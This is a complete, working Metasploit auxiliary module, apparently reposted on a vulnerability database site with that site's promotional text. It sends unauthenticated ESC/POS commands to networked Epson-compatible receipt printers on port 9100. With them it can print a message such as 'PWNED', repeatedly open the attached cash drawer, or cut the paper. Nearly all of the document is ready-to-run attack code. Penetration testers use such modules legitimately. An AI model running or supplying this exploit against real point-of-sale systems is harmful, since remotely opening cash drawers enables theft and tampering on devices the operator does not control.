# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ESC/POS Printer Command Injector',
'Description' => %q{
This module exploits an unauthenticated ESC/POS command vulnerability in networked Epson-compatible printers.
You can print a custom message, trigger the attached cash drawer, or cut the paper.
},
'Author' => ['FutileSkills'],
'License' => MSF_LICENSE,
'Actions' => [
['PRINT', { 'Description' => 'Print a Message' }],
['DRAWER', { 'Description' => 'Trigger the Drawer' }],
['CUT', { 'Description' => 'Cut paper (if applicable)' }]
],
'DefaultAction' => 'PRINT',
'References' => [
['URL', 'https://github.com/futileskills/Security-Advisory']
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, PHYSICAL_EFFECTS]
}
)
)
register_options(
[
Opt::RPORT(9100),
OptString.new('MESSAGE', [false, 'Message to print', 'PWNED'], conditions: %w[ACTION == PRINT]),
OptInt.new('DRAWER_COUNT', [false, 'Number of times to trigger the drawer', 1], conditions: %w[ACTION == DRAWER]),
OptInt.new('FEED_LINES', [false, 'Number of lines to feed before cutting (for the CUT action)', 5], conditions: %w[ACTION == CUT])
]
)
end
# ESC/POS command to trigger the cash drawer
DRAWER_COMMAND = "\x1b\x70\x00\x19\x32".freeze
# ESC/POS command to feed lines
FEED_COMMAND = "\x1b\x64".freeze
# ESC/POS command to cut paper (full cut)
CUT_COMMAND = "\x1d\x56\x42\x00".freeze
def run
connect
print_status("Connected to printer at #{rhost}")
case action.name.upcase
when 'PRINT'
handle_print
when 'DRAWER'
handle_drawer
when 'CUT'
handle_cut
end
rescue ::Rex::ConnectionError
print_error("Failed to connect to #{rhost}")
ensure
disconnect
end
private
def handle_print
message = datastore['MESSAGE']
if message.to_s.empty?
print_error("No message specified for the 'PRINT' action.")
return
end
# Break down ESC/POS commands for readability
initialize_printer = "\x1b\x40"
center_align = "\x1b\x61\x01"
double_size_text = "\x1d\x21\x11"
normal_size_text = "\x1d\x21\x00"
left_align = "\x1b\x61\x00"
print_commands = initialize_printer +
center_align +
double_size_text +
message +
normal_size_text + "\n" +
left_align + "\n\n"
sock.put(print_commands)
print_good("Printed message: '#{message}'")
end
def handle_drawer
drawer_count = datastore['DRAWER_COUNT'].to_i.clamp(1, 10)
print_status("Triggering cash drawer #{drawer_count} times...")
drawer_count.times do
sock.put(DRAWER_COMMAND)
sleep(0.5)
end
print_good('Triggered cash drawer.')
end
def handle_cut
feed_lines = datastore['FEED_LINES'].to_i.clamp(1, 100)
print_status("Feeding #{feed_lines} lines and cutting paper...")
sock.put(FEED_COMMAND + [feed_lines].pack('C'))
sock.put(CUT_COMMAND)
print_good('Paper fed and cut.')
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation